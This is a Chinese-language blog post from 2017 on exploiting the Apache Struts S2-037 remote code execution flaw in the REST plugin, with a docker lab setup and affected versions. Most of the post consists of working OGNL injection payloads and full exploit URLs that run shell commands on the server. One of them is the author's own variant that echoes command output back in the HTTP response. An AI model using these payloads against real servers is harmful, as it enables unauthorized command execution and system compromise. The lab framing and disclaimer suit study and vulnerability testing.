美文网首页
Struts-S2-037漏洞利用,解决网上大部分POC不能回显

Struts-S2-037漏洞利用,解决网上大部分POC不能回显

作者: 心如水_0b05 | 来源:发表于2017-08-03 00:33 被阅读0次

    Struts-s2-037

    此文仅供大家交流学习,严禁非法使用

    一、参考网址:

    http://blog.csdn.net/qq_29277155/article/details/51672877
    https://github.com/Medicean/VulApps/tree/master/s/struts2/s2-033

    二、 影响版本:

    Struts 2.3.20 - Struts Struts 2.3.28(2.3.20.3和2.3.24.3除外)

    三、 漏洞介绍:

    当使用REST插件启用动态方法调用时,可以传递可用于在服务器端执行任意代码的恶意表达式。

    四、 环境搭建:

    (Linux)
    使用的参考网址的docker搭建环境

    • 拉取镜像到本地

    $ docker pull medicean/vulapps:s_struts2_s2-033

    • 启动环境

    $ docker run -d -p 80:8080 medicean/vulapps:s_struts2_s2-033
    -p 80:8080 前面的 80 代表物理机的端口,可随意指定。

    五、 POC:

    %23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success
    

    POC(回显)(这个不容易,网上找的都无法实现回显,我费事的参照其他漏洞的输出方式将结果回显的)

    %23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname
    

    正规POC,后来找到的

    %23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(%23parameters.command[0]).getInputStream()),%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23rs),%23wr.close(),%23xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=2908&command=whoami
    

    六、 测试网址:

    第一个POC执行过程:
    原始网页:

    http://ip:8000/orders/3/
    

    修改后网址:

    http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23xx%3d123,%23xx.toString.json?&command=touch%20/tmp/success
    

    七、执行结果

    1.png

    八、 第二个POC执行过程

    原始网页

    http://ip:8000/orders/3/
    

    修改后网址:

    http://ip:8000/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23process%3D@java.lang.Runtime@getRuntime%28%29.exec%28%23parameters.command[0]),%23ros%3D%28@org.apache.struts2.ServletActionContext@getResponse%28%29.getOutputStream%28%29%29%2C@org.apache.commons.io.IOUtils@copy%28%23process.getInputStream%28%29%2C%23ros%29%2C%23ros.flush%28%29,%23xx%3d123,%23xx.toString.json?&command=uname
    

    执行结果


    3.png

    九、总结

    回头看来,因为我之前吧s2-037当成s2-033先验证了,而真正的s2-033一直验证不成功,直至我把s2-033验证成功发现,虽然两个很相似,前提同为REST插件启用动态方法调用,但s2-037好像并没有要求<constant name="struts.enable.DynamicMethodInvocation" value="true" />,因为我是验证了s2-037,s2-033没有成功,添加了<constant name="struts.enable.DynamicMethodInvocation" value="true" />这句话后,才成功验证了s2-033

    十、 至此,该漏洞基本利用完毕

    本人还是一个未毕业的小萌新,希望大家多多帮助,有问题请发送邮件到xrzsupupup@163.com不胜感激,我也会尽量去帮助大家

    坚决做一名白帽子

    相关文章

      网友评论

          本文标题:Struts-S2-037漏洞利用,解决网上大部分POC不能回显

          本文链接:https://www.haomeiwen.com/subject/jhdulxtx.html